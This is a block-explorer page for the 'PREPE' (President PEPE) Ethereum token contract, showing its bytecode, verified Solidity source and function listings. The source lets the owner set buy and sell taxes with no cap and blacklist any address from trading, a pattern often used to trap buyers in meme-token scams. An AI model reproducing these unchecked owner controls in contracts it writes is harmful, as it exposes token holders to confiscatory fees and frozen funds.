Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x47b8ed9d6be23e72e9d573ABE6d8a096703c7a03
Balance 0.089988 ETH
Nonce 1
Code Size 5787 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5787 bytes
0x60806040526004361061013f575f3560e01c8063751039fc116100b3578063b44b4b801161006d578063b44b4b8014610370578063bf474bed1461039b578063c9567bf9146103b0578063d34628cc146103c4578063dd62ed3e146103e3578063debae15e14610427575f80fd5b8063751039fc146102d95780637d1db4a5146102ed5780638da5cb5b146103025780638f9a55c01461032857806395d89b411461033d578063a9059cbb14610351575f80fd5b806324c16b7f1161010457806324c16b7f146101f9578063313ce5671461021a57806331c2d8471461023b5780633bbac5791461025a57806370a0823114610291578063715018a6146102c5575f80fd5b806306fdde031461014a578063095ea7b3146101745780630faee56f146101a357806318160ddd146101c657806323b872dd146101da575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610446565b60405161016b91906112bb565b60405180910390f35b34801561017f575f80fd5b5061019361018e36600461132d565b6104d6565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860115481565b60405190815260200161016b565b3480156101d1575f80fd5b50600d546101b8565b3480156101e5575f80fd5b506101936101f4366004611357565b6104ec565b348015610204575f80fd5b50610218610213366004611395565b61053c565b005b348015610225575f80fd5b50600c5460405160ff909116815260200161016b565b348015610246575f80fd5b506102186102553660046113c0565b610573565b348015610265575f80fd5b50610193610274366004611480565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561029c575f80fd5b506101b86102ab366004611480565b6001600160a01b03165f9081526001602052604090205490565b3480156102d0575f80fd5b50610218610604565b3480156102e4575f80fd5b50610218610675565b3480156102f8575f80fd5b506101b8600e5481565b34801561030d575f80fd5b505f546040516001600160a01b03909116815260200161016b565b348015610333575f80fd5b506101b8600f5481565b348015610348575f80fd5b5061015e6106e0565b34801561035c575f80fd5b5061019361036b36600461132d565b6106ef565b34801561037b575f80fd5b506101b861038a366004611480565b60056020525f908152604090205481565b3480156103a6575f80fd5b506101b860105481565b3480156103bb575f80fd5b506102186106fb565b3480156103cf575f80fd5b506102186103de3660046113c0565b610797565b3480156103ee575f80fd5b506101b86103fd36600461149b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610432575f80fd5b50610218610441366004611395565b610825565b606060088054610455906114d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610481906114d2565b80156104cc5780601f106104a3576101008083540402835291602001916104cc565b820191905f5260205f20905b8154815290600101906020018083116104af57829003601f168201915b5050505050905090565b5f6104e2338484610853565b5060015b92915050565b5f6104f8848484610976565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461053291869161052d90869061151e565b610853565b5060019392505050565b5f546001600160a01b0316331461056e5760405162461bcd60e51b815260040161056590611531565b60405180910390fd5b600a55565b5f546001600160a01b0316331461059c5760405162461bcd60e51b815260040161056590611531565b5f5b8151811015610600575f60045f8484815181106105bd576105bd611566565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806105f88161157a565b91505061059e565b5050565b5f546001600160a01b0316331461062d5760405162461bcd60e51b815260040161056590611531565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461069e5760405162461bcd60e51b815260040161056590611531565b600d54600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b606060098054610455906114d2565b5f6104e2338484610976565b5f546001600160a01b031633146107245760405162461bcd60e51b815260040161056590611531565b601254600160a01b900460ff161561077e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610565565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146107c05760405162461bcd60e51b815260040161056590611531565b5f5b815181101561060057600160045f8484815181106107e2576107e2611566565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061081d8161157a565b9150506107c2565b5f546001600160a01b0316331461084e5760405162461bcd60e51b815260040161056590611531565b600b55565b6001600160a01b0383166108b55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610565565b6001600160a01b0382166109165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610565565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482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Verified Source Code Partial Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: Yes (200 runs)
PREPE.sol 292 lines
// SPDX-License-Identifier: MIT

/*
Website: presidentpepe.com
TG: https://t.me/prepeerc20
X:  https://x.com/prepeerc20
*/

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PREPE is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) public lastSellTime;
    address payable private _taxWallet = payable(0x47F602d83c649c6a5f293472b624e7A4958159eA);
    address private uniswapV2Pair;
    string private _name;
    string private _symbol;
    uint256 private _BuyTax;
    uint256 private _SellTax;
    uint8 private  _decimals = 18;
    uint256 private _tTotal;
    uint256 public _maxTxAmount;
    uint256 public _maxWalletSize;
    uint256 public _taxSwapThreshold;
    uint256 public _maxTaxSwap;

    IUniswapV2Router02 private uniswapV2Router;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _name = "PREPE";
        _symbol = "President PEPE";
        _BuyTax = 0;
        _SellTax = 0;
        _tTotal = 420690000000000 * 10**_decimals;
        _maxTxAmount = _tTotal * 1 / 100;
        _maxWalletSize = _tTotal * 1 / 100;
        _taxSwapThreshold = _tTotal * 5 / 10000;
        _maxTaxSwap = _tTotal * 1 / 100;

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _approve(msg.sender, address(uniswapV2Router), _tTotal);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to], "Your address has been marked as a bot/sniper, you are unable to transfer or swap.");

            if (!tradingOpen) {
                require(uniswapV2Pair != from && uniswapV2Pair != to, "Trading is not active.");
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = (amount * _BuyTax) / 100;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && !_isExcludedFromFee[from]){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(block.timestamp > lastSellTime[from], "No unclogging here ser");
                lastSellTime[from] = block.timestamp;
                taxAmount = (amount * _SellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)] + taxAmount;
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] =_balances[from] - amount;
        _balances[to]= _balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount-taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount/2);
    }

    function addBots(address[] memory bots_) external onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) external onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function changeBuyTax(uint256 _buyFee) external onlyOwner {
        _BuyTax = _buyFee;
    }

    function changeSellTax(uint256 _sellFee) external onlyOwner {
        _SellTax = _sellFee;
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
lastSellTime 0xb44b4b80 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

addBots 0xd34628cc
address[] bots_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeBuyTax 0x24c16b7f
uint256 _buyFee
changeSellTax 0xdebae15e
uint256 _sellFee
delBots 0x31c2d847
address[] notbot
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

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